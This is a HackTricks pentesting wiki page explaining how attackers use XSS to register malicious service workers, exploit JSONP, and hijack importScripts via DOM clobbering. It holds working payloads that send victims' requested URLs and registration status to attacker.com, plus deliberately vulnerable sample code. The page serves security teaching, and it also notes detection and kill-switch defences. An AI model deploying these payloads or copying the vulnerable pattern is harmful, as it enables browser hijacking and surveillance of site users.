abusing-service-workers.md (6533B)
1 --- 2 title: "Abusing Service Workers" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Abusing Service Workers 14 15 ## Basic Information 16 17 A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.<sup>[[2]](#references)</sup> 18 19 ### Checking for Existing Service Workers 20 21 Existing service workers can be inspected, updated, stopped, or unregistered from the **Service Workers** section of Chrome DevTools' **Application** panel. Chromium also exposes `chrome://serviceworker-internals` for a global, lower-level view of registrations.<sup>[[3]](#references)[[7]](#references)</sup> 22 23 ### Push Notifications 24 25 **Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits. 26 27 ## Attack Creating a Service Worker 28 29 In order to exploit this vulnerability you need to find: 30 31 - A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file 32 - A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**. 33 34 The following service worker listens for `fetch` events and sends each requested URL to the attacker's server. This is the code that must be uploaded to the vulnerable origin or returned through a vulnerable JSONP endpoint: 35 36 ```javascript 37 self.addEventListener("fetch", (event) => { 38 event.waitUntil( 39 fetch("https://attacker.com/fetch_url/" + encodeURIComponent(event.request.url), { 40 mode: "no-cors", 41 }).catch(() => {}), 42 ) 43 event.respondWith(caches.match(event.request).then((response) => response || fetch(event.request))) 44 }) 45 ``` 46 47 And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not: 48 49 ```html 50 <script> 51 window.addEventListener('load', function() { 52 var sw = "/uploaded/ws_js.js"; 53 navigator.serviceWorker.register(sw, {scope: '/'}) 54 .then(function(registration) { 55 var xhttp2 = new XMLHttpRequest(); 56 xhttp2.open("GET", "https://attacker.com/SW/success", true); 57 xhttp2.send(); 58 }, function (err) { 59 var xhttp2 = new XMLHttpRequest(); 60 xhttp2.open("GET", "https://attacker.com/SW/error", true); 61 xhttp2.send(); 62 }); 63 }); 64 </script> 65 ``` 66 67 In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example: 68 69 ```javascript 70 var sw = 71 "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//" 72 ``` 73 74 **Shadow Workers** is a command-and-control framework dedicated to service-worker exploitation.<sup>[[4]](#references)</sup> 75 76 Service-worker update checks bypass the browser cache when the previous fetch occurred more than 24 hours ago, but that does **not** guarantee that a malicious worker disappears within 24 hours: the old worker can remain active until a changed script is fetched, installed, and activated. Use short cache lifetimes for the worker script and deploy a kill-switch worker that unregisters itself and clears malicious caches.<sup>[[5]](#references)[[6]](#references)</sup> 77 78 ## Abusing `importScripts` in a SW via DOM Clobbering 79 80 The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.<sup>[[1]](#references)</sup> 81 82 **This even bypasses CSP protections.** 83 84 **Example vulnerable code:** 85 86 - **index.html** 87 88 ```html 89 <script> 90 navigator.serviceWorker.register( 91 "/dom-invader/testcases/augmented-dom-import-scripts/sw.js" + 92 location.search 93 ) 94 // attacker controls location.search 95 </script> 96 ``` 97 98 - **sw.js** 99 100 ```javascript 101 const searchParams = new URLSearchParams(location.search) 102 let host = searchParams.get("host") 103 self.importScripts(host + "/sw_extra.js") 104 //host can be controllable by an attacker 105 ``` 106 107 ### With DOM Clobbering 108 109 For more info about what DOM Clobbering is check: 110 111 112 [Dom Clobbering](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering) 113 114 If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.<sup>[[1]](#references)</sup> 115 116 For an example of this check the reference link.<sup>[[1]](#references)</sup> 117 118 ## References 119 120 - [1] [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) 121 - [2] [developers.google.com - Primers - Service Workers](https://developers.google.com/web/fundamentals/primers/service-workers) 122 - [3] [Chrome DevTools - Application panel overview](https://developer.chrome.com/docs/devtools/application) 123 - [4] [Shadow Workers](https://shadow-workers.github.io) 124 - [5] [MDN - `ServiceWorkerRegistration.update()`](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/update) 125 - [6] [Service-worker kill-switch pattern](https://stackoverflow.com/a/38980776) 126 - [7] [Chromium - Service Worker Security FAQ](https://chromium.googlesource.com/chromium/src/+/main/docs/security/service-worker-security-faq.md)